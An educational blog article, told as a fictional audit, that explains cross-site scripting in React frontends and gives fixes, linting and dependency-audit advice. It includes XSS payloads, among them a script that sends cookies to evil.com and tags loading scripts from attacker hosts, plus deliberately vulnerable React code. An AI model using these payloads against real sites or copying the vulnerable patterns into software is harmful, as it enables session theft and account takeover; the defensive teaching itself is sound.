Vulnerabilities and solutions
Today’s story is about the “XSS” gang. It’s a gang known for its cyber-criminal attacks, particularly XSS or “Cross-Site Scripting” attacks.
This time, the gang attacked the website of a large company called “Appliance Garden.” The company enlisted the services of the cybersecurity startup “Cyber Avengers” to help identify the security flaw, fix it and establish a defense strategy for the future.
The “Cyber Avengers” team must perform an audit and provide a report highlighting these points:
*️⃣ How an “XSS” attack works (flows, types, and risks)
*️⃣ Causes of this “XSS” attack (identified security vulnerabilities).
*️⃣ Possible solutions to fix these vulnerabilities.
*️⃣ A security guideline for future developments and developers.
Ultimately, the report must be sent to the technical manager of “Appliance Garden” to organize the teams who will make the necessary corrections.
So, let’s follow “Cyber Avengers” auditors in their investigations and report. Here we go!
General Concepts About “XSS” Attacks
The “Cyber Avengers” auditors and the “Appliance Garden” lead developer met to analyze, brainstorm and write the report together.
The “Cyber Avengers” contributors are Steve, John, and Sarah. Three advanced security experts.
Cross-Site Scripting (XSS)
Below is the exchange that took place:
➖ “Can you explain what an XSS attack is”? asked the “Appliance Garden” lead developer.
➖ “Well, a Cross-Site Scripting attack occurs when a piece of malicious code (usually JavaScript) is injected into a web page to harm the end user, said Steve,” a security engineer.
➖ “But how can the attacker inject the malicious code when we are the coders, and the servers we use are well secured,” asked the lead developer.
➖ “It’s a good question. So, this code is usually inserted at the end of the URI (Uniform Resource Identifier) as a parameter or by exploiting a feature such as an input form, search field, or comment input field,” replied Steve.
➖“So, if I understand correctly, a web page or web application is vulnerable to XSS if it uses unsanitized or uncontrolled user inputs,” said the lead developer.
➖ “Exactly, but not only!” replied Steve. “XSS can also happen when displaying dynamic data received from the backend without cleaning or sanitizing it. ”
➖ “Indeed, the XSS attack has three essential forms: Stored XSS, Reflected XSS, and DOM-based XSS,” said John, another security engineer. To fully understand, let’s look at these examples together:
🟩 Reflected XSS: arises when an application receives data in an HTTP request and includes that data within the immediate response in an insecure (unsanitized) way:
- Suppose a website has a search function that receives the user-supplied search term in a URL parameter.
- A victim clicks on the following link:
www.<sometrustedvulnerablexsssite>.com/search.asp?term=<script>alert('reflected - owned')</script>
- The link posts a search query from the client to the web server.
- The server returns the search result that contains the JavaScript posted earlier in the search query:
……<script>alert('reflected - owned')</script>…..
- The client’s browser interprets the string as a script and executes it:
- This attack can target web servers’ error messages or search results that return all or part of a user’s input.
- In addition, Reflected XSS is not a persistent attack, so the attacker needs to deliver the payload to each victim. These attacks are often made using social networks.
🟩 Stored XSS: the malicious script is stored on the vulnerable web server. The injected script is then permanently stored on the web pages and returned to any user who accesses the web page containing the script.
A common example of this type of attack is when an attacker posts a specially crafted comment on a forum:
- The attacker posts the following in a comment section of someone’s blog:
"Great article, keep it up !<script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
- The victim visits someone’s blog post that contains the attacker’s comment.
- The victim’s browser interprets part of the attacker’s comment as an HTML tag containing a JavaScript script:
<script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
- This will run badscript.js on the victim’s browser:
🟩 DOM-based XSS: this attack is possible if the web application writes data to the Document Object Model (DOM) without proper sanitization. The attacker can manipulate this data to include XSS content on the web page, for example, malicious JavaScript code.
Let’s look at this code:
<html>
<head>
<title>Custom Page </title>
...
</head>
Main Page for
<script>
var position = document.URL.indexOf("pageName=") + 8;
document.write(document.URL.substring(position,document.URL.length));
</script>
...
</html>
🔺This code becomes dangerous if the attacker embeds a malicious script in the URL: http://www.example.com/userdashboard.html#pageName=<script>Some Malicious Script</script>.
🔺The attacker would also encode the URL payload so that it is not obvious that it contains a script.
🔺A DOM-based XSS attack is often a client-side attack, and the malicious payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers who analyze server logs because they will never even see the attack.
🔺DOM objects that are most often manipulated include the URL (document.URL), the anchor part of the URL (location.hash), and the Referrer (document.referrer).
🔺Also, assigning data to innerHTML instructs the browser to parse and render that data. As a result, the browser will treat embedded HTML as code, potentially causing a DOM-based XSS vulnerability.
🔺Some dangerous HTML attributes and methods:
element.innerHTML = "<HTML> Tags and markup";
element.outerHTML = "<HTML> Tags and markup";
document.write("<HTML> Tags and markup");
document.writeln("<HTML> Tags and markup");
➖ “Thanks, John, that’s very clear,” said the lead developer. “Now, how can the attacker exploit the XSS attack? What can he do in the victim’s browser, knowing the browser has a sandboxed architecture?”
➖ “Oh, he can do a lot of serious things!” replied John. Potential consequences of cross-site scripting attacks include:
🔺 Redirecting a user to a malicious website.
🔺 Access user browsing history and clipboard contents.
🔺 Perform web browser-based attacks (such as crashing the browser).
🔺 Obtain the cookie information of a user logged into a website.
🔺 Steal the login session token, allowing the attacker to interact with the application as the victim without knowing their password.
🔺 Force the user to send requests to a server controlled by the attacker.
🔺 Edit page content.
Here are several examples of XSS attacks:
// Stealing Cookies Using XSS
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>
<!-- background attribute -->
<body background="javascript:alert("XSS")">
<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<!-- <iframe> tag XSS -->
<iframe src="http://evil.com/xss.html">
<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">
<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">
<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">
<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">
<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
➖ “OH MY GOD! This is what happened to our customers!” said the lead developer. “All because of bad practices and a lack of control over input fields!”
➖ “Nevertheless, I still have a question,” added the lead developer. “We use React as a technology in our frontends, and what is known about React is that it does not execute an HTML code, but it displays it as an ordinary string (text). How the XSS attack remains possible, then?”
➖ “It’s a very good question,” said Steve. “The answer to this wonderful question will be the subject of the next section. Sarah, our React application security specialist, will explain how we can bypass React’s default security layer after the coffee break.”
We resume discussions after the team’s coffee break. See you soon! ☕
React: the default security layer
After the refreshment break, the team resumed investigations and discussions:
➖ “Before the break, we talked about a very important point about React. Sarah, can you explain how things work in React and how we can bypass security?” said Steve.
➖ “Of course,” said Sarah.
➖ “Unlike Vanilla HTML or jQuery, where code is imperative, React is based on a declarative approach: we don’t directly manipulate the DOM. Instead, we declare ‘what we want to show,’ and React figures out ‘how to update the DOM,’” added Sarah.
Here is a small example of a React code:
import { useState } from "react";
const FavoriteColor = () => {
const [color, setColor] = useState("red");
return (
<>
<h1>My favorite color is {color}!</h1>
<button
type="button"
onClick={() => setColor("blue")}
>Blue</button>
</>
)
}
export default FavoriteColor;
Without any DOM manipulation, the result of running this code will be:
So accessing DOM with React is a bad practice!
➖ “This characteristic is very interesting; it eliminates a good percentage of possible cases of XSS attacks,” said Steve.
➖ “Exactly, there are still other interesting features. Let’s have a look!” said Sarah.
➖ “By default, React DOM escapes any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything not explicitly written in our application. Everything is converted to a string before being rendered, which helps prevent XSS (cross-site-scripting) attacks,” added Sarah.
Let’s take a look at this example of injected malicious code:
const App = (props) => {
const maliciousCode = '<script> Malicious Script </script>';
return (
<div className='App'>
<h1>Hello React.</h1>
<h2>Start editing to see some magic happen!</h2>
{maliciousCode}
</div>
);
}
It will be converted to a simple string (text) before being displayed:
Hello React.
Start editing to see some magic happen!
<script> Malicious Script </script>
The script is not parsed and interpreted.
➖ “Very cool feature!” said Steve.
➖ “What about URLs?” John asked.
➖ “It’s a very good question,” said Sarah. If React detects the use of a javascript: URL during development, it will show a browser console warning stating that future versions of React will prevent such behavior:
The downside here is that it’s a warning only.
And here’s where we will open the subject: how can we bypass React’s secure-by-default character in React? It is obvious there are not only javascript: URLs to manage or only static data to master. Also, we do not all have the same “clean code” level to guarantee a purely declarative.
In addition to insecure URLs, we can bypass React’s default security via these mechanisms:
🔺Dynamic property injection
🔺CSS, especially when using css-in-js
🔺Vulnerable and old dependencies
“But first, we will continue after the lunch break,” said Sarah, looking at her watch.
➖ “Yes, I confirm!” said Steve.
Wow, what an informative morning! We resume, like the team, after the break. See you soon! 🍕
Identified Security Vulnerabilities
After the break, the team resumes the exchanges:
➖ “I suggest you analyze the company’s React code together, Sarah, and each time we find a vulnerability, you can explain it to us,” suggested Steve.
➖ “Of course, it’s a good idea!” replied Sarah. “Let’s start by analyzing the first page.”
➖“OH MY GOD! I see a dangerous dangerouslySetInnerHTML ,” exclaimed the lead developer. “Sarah, can you explain the risk of using it?”
dangerouslySetInnerHTML
Here is the vulnerable code the team has identified:
return (<p dangerouslySetInnerHTML={{__html: review}}></p>);
This code renders a review with some HTML format (bold, italic, …).
The code snippet shown above is insanely insecure. It renders all HTML in the data, regardless of whether the code is benign or dangerous!
This vulnerable code can be exploited to execute malicious scripts. Here is an example:
const post = {
// Imagine this content is stored in the database.
content: `<img src="" onerror='alert("you were hacked")'>`
};
export default function MarkdownPreview() {
// 🔴 SECURITY HOLE: passing untrusted input to dangerouslySetInnerHTML
const markup = { __html: post.content };
return <div dangerouslySetInnerHTML={markup} />;
}
The code embedded in the HTML will run. A hacker could use this security hole to steal user information or perform actions on their behalf!
dangerouslySetInnerHTML: An object of the form { __html: ‘<p>some html</p>’ } with a raw HTML string inside. Overrides the innerHTML property of the DOM node and displays the passed HTML inside. This should be used with extreme caution! If the HTML inside isn’t trusted (for example, if it’s based on user data), you risk introducing an XSS vulnerability. Common components (e.g., <div>) — React
➖ “Sarah, Sarah, parsing the HTTP requests, I found a JSON backend response that contains the attribute, dangerouslySetInnerHTML, and this JSON is passed directly to a React API React.creatElement. Is it possible to transform a JSON into a React and then HTML?” John asked.
➖“Yes, and that’s the subject of the next section,” replied Sarah.
Dynamic property injection
React.createElement syntax:
React.createElement(type,{props},children);
type – the type of HTML tag we are using (such as 'div' or 'span').
props - the props argument must either be an object or null.
children – optional ...children: Zero or more child nodes.
React.creatElement serves as an alternative to writing JSX.
There’s another React API that looks a lot like React.creatElement: cloneElement — React. It is exposed to the same vulnerabilities described below.
➖ “I think you’re starting to identify the vulnerability when using this API; it’s the props parameter of type object. In JavaScript, you can have an object by declaring an object natively or by receiving a JSON object from the backend, or by transforming a string into an object via JSON.parse,” said Sarah.
Here is the vulnerable code the team has identified:
// backend JSON response
{
"style": {
"color": "green",
"backgroundColor": "yellow",
"border": "solid 5px blue"
},
"dangerouslySetInnerHTML": {
"__html": "<p>Lorem ipsum dolor <b>sit</b> amet consectetur adipisicing elit. <i>Enim ex a</i></p>"
}
}
// the React code
return React.createElement("div", reviewProps);
This flaw can be exploited to inject malicious code:
// example 1
{
"style": {
"color": "green",
"backgroundColor": "yellow",
"border": "solid 5px blue"
},
"dangerouslySetInnerHTML": {
"__html": "lorem ipsum <img src="nonexistent.png" onerror="alert('mailicious message');" />"
}
}
// example 2
{
"style": {
"color": "green",
"backgroundColor": "yellow",
"border": "solid 5px blue"
},
"dangerouslySetInnerHTML": {
"__html": "lorem <b onmouseover="alert('mouseover');">ipsum</b>"
}
}
➖ “All the attacker needs to do is provide a props object that contains a dangerouslySetInnerHTML property. When the parser sees this property, it will use the provided value as the HTML code for the rendered element!” Sarah added.
➖ “Sarah, is what we saw for React.creatElement also true for these APIs: useRef , createRef and findDOMNode?” asked the lead developer. “Because they all imperatively manipulate the DOM. I also found snippets of code using these APIs.”
➖ “Another good question! And yes, these APIs can be exploited to inject malicious code. Let’s move on to the next section. We will see this case in detail,” replied Sarah.
Escape Hatches
➖ “Generally, as we saw earlier, React abstracts away the details of the browser’s DOM and offers a higher-level API to render components,” said Sarah. “Nevertheless, that higher-level API is not always enough. In certain scenarios, developers need direct access to the native DOM elements.”
➖ “Sounds bad!” said the lead developer.
➖ “React offers an Escape Hatch, which provides the application direct access to native DOM elements. The problem with such an escape hatch is that it returns native DOM elements with their full API. These direct interactions can lead to XSS!” Sarah added. “useRef , createRef and findDOMNode are escape hatches that give access to native DOM elements.”
Here is the vulnerable code the team has identified:
// snippet 1
componentDidUpdate(prevProps, prevState) {
ReactDOM.findDOMNode(this).innerHTML = this.props.reviewData;
}
// snippet 2
const divRef=createRef();
useEffect(()=>{
if(userName) {
divRef.current.innerHTML=`User name is ${userName}`
}
}, [userName])
➖ “All the attacker has to do is provide a vulnerable reviewData or userName!” said Sarah.
➖“OMG, I want to relearn React from scratch and redo the whole app!” exclaimed the lead developer.
➖ “Don’t worry. After analyzing the code and identifying the vulnerabilities, I will share several solutions,” Sarah added.
➖ “All right, thanks, ”said the lead developer. “I have a question. Until now, we have only seen the HTML and JavaScript parts. Does this mean the CSS is not used to make injections?”
➖“Oh no!” replied Sarah. “It is, of course, exploited, especially with the css-in-js, which the application currently uses. Let’s move on to the next section.”
CSS injection
➖“css-in-js are like JavaScript evalfor CSS. They will take any input and evaluate it as CSS. The problem is that they will evaluate any entry, even if it is not secure!” said Sarah.
➖ “If, for example, the styled-components have props whose value is set by users. We need to manually sanitize the inputs. Otherwise, malicious users can inject arbitrary styles into other users’ pages,” Sarah added.
Here are some examples of attacks exploiting styled-components:
import styled from "styled-components";
const bad1 = (userInput) => {
const ArbitraryComponent = styled.div`
background: url(${
// ok: react-styled-components-injection
userInput
});
`
return ArbitraryComponent
}
const bad2 = (userInput) => {
const input = fooBar(userInput)
return styled.div`
background: url(${
// ok: react-styled-components-injection
input
});
`
}
const bad3 = (nevermind, {userInput}) => {
const input = '#' + userInput;
return styled.div`
background: ${
// ok: react-styled-components-injection
input
};
`
}
Going further, here’s what the documentation says:
Since styled-components allows you to use arbitrary input as interpolations, you must be careful to sanitize that input. Using user input as styles can lead to any CSS being evaluated in the user’s browser that an attacker can place in your application. styled-components: Advanced Usage
➖ “Thank you, Sarah! This is a case I had never thought of!” said the lead developer.
➖ “With pleasure,” replied Sarah. “Now, I think we’ve gone through all the source code: HTML, CSS, and JavaScript. Do you think there are still things to check?”
➖ “I think not,” replied the lead developer.
➖ “Me too,” John answered.
➖“ Me too,” Steve answered.
➖ “You are all trapped!” Sara said. “We analyzed internal files only. However, a web application needs some node modules to work. Some of them may be old, some deprecated, and some may include security vulnerabilities.”
➖ “You’re right,” answered the others.
Vulnerable dependencies
➖ “To identify dependencies with security vulnerabilities, I suggest you run npm audit and see the generated report,” said Sarah.
npm audit
# npm audit report
ejs <3.1.7
Severity: critical
ejs template injection vulnerability - https://github.com/advisories/GHSA-phwq-j96m-2c2q
No fix available
node_modules/webpack-bundle-analyzer-brotli/node_modules/ejs
webpack-bundle-analyzer-brotli *
Depends on vulnerable versions of ejs
node_modules/webpack-bundle-analyzer-brotli
semver <=5.7.1 || 6.0.0 - 6.3.0 || 7.0.0 - 7.5.1
Severity: moderate
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
fix available via `npm audit fix`
node_modules/@npmcli/arborist/node_modules/semver
node_modules/@npmcli/fs/node_modules/semver
node_modules/@npmcli/git/node_modules/semver
node_modules/@npmcli/metavuln-calculator/node_modules/semver
node_modules/css-loader/node_modules/semver
node_modules/jest-snapshot/node_modules/semver
node_modules/node-gyp/node_modules/semver
node_modules/normalize-package-data/node_modules/semver
node_modules/npm-install-checks/node_modules/semver
node_modules/npm-package-arg/node_modules/semver
node_modules/npm-pick-manifest/node_modules/semver
node_modules/npm-registry-fetch/node_modules/semver
node_modules/read-package-json/node_modules/semver
node_modules/semver
node_modules/sigstore/node_modules/semver
node_modules/tuf-js/node_modules/semver
node_modules/yeoman-environment/node_modules/semver
node_modules/yeoman-generator/node_modules/semver
word-wrap <1.2.4
Severity: moderate
word-wrap vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-j8xg-fqg3-53r7
fix available via `npm audit fix`
node_modules/word-wrap
4 vulnerabilities (2 moderate, 2 critical)
To address issues that do not require attention, run:
npm audit fix
Some issues need review, and may require choosing
a different dependency.
npm notice
npm notice New minor version of npm available! 9.5.1 -> 9.8.1
npm notice Changelog: https://github.com/npm/cli/releases/tag/v9.8.1
npm notice Run npm install -g npm@9.8.1 to update!
npm notice
As we can see, some packages have a “critical severity” that needs to be addressed immediately.
The severity of the vulnerability, determined by the impact and exploitability of the vulnerability in its most common use case. About audit reports | npm Docs (npmjs.com)
➖ “It’s time to look at the solutions for the various identified vulnerabilities. Here we go!” said Sarah.
Possible Solutions
Sanitize HTML: DOMPurify
// Import DOMPurify
import DOMPurify from 'dompurify';
// Sanitize the review
return (<p dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(review)}}></p>);
HTML sanitization will strip dangerous HTML from a variable and return a safe string of HTML.
OWASP recommends DOMPurify for HTML Sanitization.
innerText instead of innerHtml
// unsafe
myRef.current.innerHTML = userData;
ReactDOM.findDOMNode(this).innerHTML = userData;
// safe
myRef.current.innerText = userData;
ReactDOM.findDOMNode(this).innerText = userData;
The best way to fix DOM-based cross-site scripting is to use the right output method:
- innerHTML instructs the browser to parse and render that data. As a result, the browser will treat embedded HTML as code, potentially causing a DOM-based XSS vulnerability.
- innerText property suffices to avoid injection vulnerabilities. innerText instructs the browser to simply use the data as text, regardless of its contents. If the data contains any HTML characters, they will be displayed to the user, not rendered by the browser.
Here is what OWASP recommends.
Sanitize URL
The team can take inspiration from this code to sanitize URLs:
const SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file|sms):|[^&:/?#]*(?:[/?#]|$))/gi;
/** A pattern that matches safe data URLs. It only matches image, video, and audio types. */
const DATA_URL_PATTERN = /^data:(?:image/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video/(?:mpeg|mp4|ogg|webm)|audio/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i;
function _sanitizeUrl(url: string): string {
url = String(url);
if (url === "null" || url.length === 0 || url === "about:blank") return "about:blank";
if (url.match(SAFE_URL_PATTERN) || url.match(DATA_URL_PATTERN)) return url;
return `unsafe:${url}`;
}
export function sanitizeUrl(url = "about:blank"): string {
return _sanitizeUrl(String(url).trim());
}
The URL sanitizer ensures that dynamically-created URLs are safe to use in the application.
Validate input on arrival
Inputs should be validated as strictly as possible when they are first received from a user.
Examples of input validation include:
- If a user submits a URL that will be returned in responses, validating that it starts with a safe protocol such as HTTP and HTTPS. Otherwise, someone might exploit your site with a harmful protocol like javascript or data.
- If a user supplies a value that is expected to be numeric, validate that the value contains an integer.
- Validating that input contains only an expected set of characters.
Input validation should ideally work by blocking invalid input. An alternative approach, of attempting to clean invalid input to make it valid, is more error prone and should be avoided wherever possible. How to prevent XSS | Web Security Academy (portswigger.net)
Encode data on output
Encoding must be applied directly before user-controllable data is written to a page.
In an HTML context, non-whitelisted values must be converted to HTML entities:
- < converts to: <
- > converts to: >
In a JavaScript string context, non-alphanumeric values should be Unicode-escaped:
- < converts to: u003c
- > converts to: u003e
CSS.escape
The CSS.escape() method provides a convenient way to escape a string so that it conforms to the CSS selector requirements. This is especially useful when dynamically building a CSS selector based on (untrusted) user input.
document.querySelector(`#${CSS.escape(id)} > img`);
document.querySelector(`a[href="#${CSS.escape(fragment)}"]`);
document.querySelector('#' + CSS.escape(location.hash.slice(1)))
ESLint
The linter must be activated and used.
These plugins also need to be added and configured:
- jsx-eslint/eslint-plugin-react: React-specific linting rules for ESLint (github.com)
- jsx-eslint/eslint-plugin-react: React-specific linting rules for ESLint (github.com)
- eslint-community/eslint-plugin-security: ESLint rules for Node Security (github.com)
Dependencies updates
Dependencies must be analyzed often, and critical vulnerabilities must be dealt with urgently and as a priority. You can use npm audit.
Continuous security checks
We recommend that the rules and precautions detailed above be checked continuously with a continuous integration tool or by using a health check tool.
➖ “At this level, the audit report has been finalized. It is now necessary to make a checklist that developers must follow during their development to guarantee an acceptable level of security. It’s time to collect all your proposals!” says Steve.
Security Guidelines
☑️ Accessing the DOM with React is bad practice (regardless of the API used: dangerouslySetInnerHTML , React.creatElement , useRef , createRef or findDOMNode )
☑️ If you have no alternative but to use dangerouslySetInnerHTML, it’s mandatory to sanitize the HTML string using DOMPurify.
☑️ It’s mandatory to sanitize each URL used.
☑️ Validate inputs on arrival.
☑️ Encode data on output.
☑️ Any JSON that will be directly exploited by React.creatElement must be purified first.
☑️ Any content assigned to one of these APIs must first be sanitized:
innerHtml, outerHTML, write and writeln.
☑️ If a style depends on a variable given by the user, the content of the variable must first be sanitized and the style with CSS.escape.
☑️ Run the npm audit command often to identify vulnerable dependencies.
☑️ The linter must be activated, set up well, and used effectively.
☑️ Defensive programming is a technique that helps to write codes that are more resistant to bugs and vulnerabilities.
☑️ Security issues must be continuously checked.
At this level, the security auditors have completed their analyzes and sent the report to the technical manager of “Appliance Garden,” who will take over for the rest.
Conclusion
What an informative day with the “Appliance Garden” and the “Cyber Avengers” teams. They shared many explanations and tips regarding the security of the frontend web and, in particular, with React.
We should always “correctly” use an API or a framework and read their documentation and recommendations carefully.
It is also necessary to adopt a defensive approach in our development: we must not trust the code, the inputs and the outputs. We must check and sanitize as much as possible.
Developers are smart, but hackers are smarter: they know the API and its flaws. We must not forget this axiom!
I hope this article has encouraged you to review your codes to improve security. As for me, see you soon for another trip! ♥️
Want to Connect?
You can find me at GitHub: https://github.com/helabenkhalfallah
Cross-Site Scripting (XSS) Attack in Modern Frontend Web was originally published in Better Programming on Medium, where people are continuing the conversation by highlighting and responding to this story.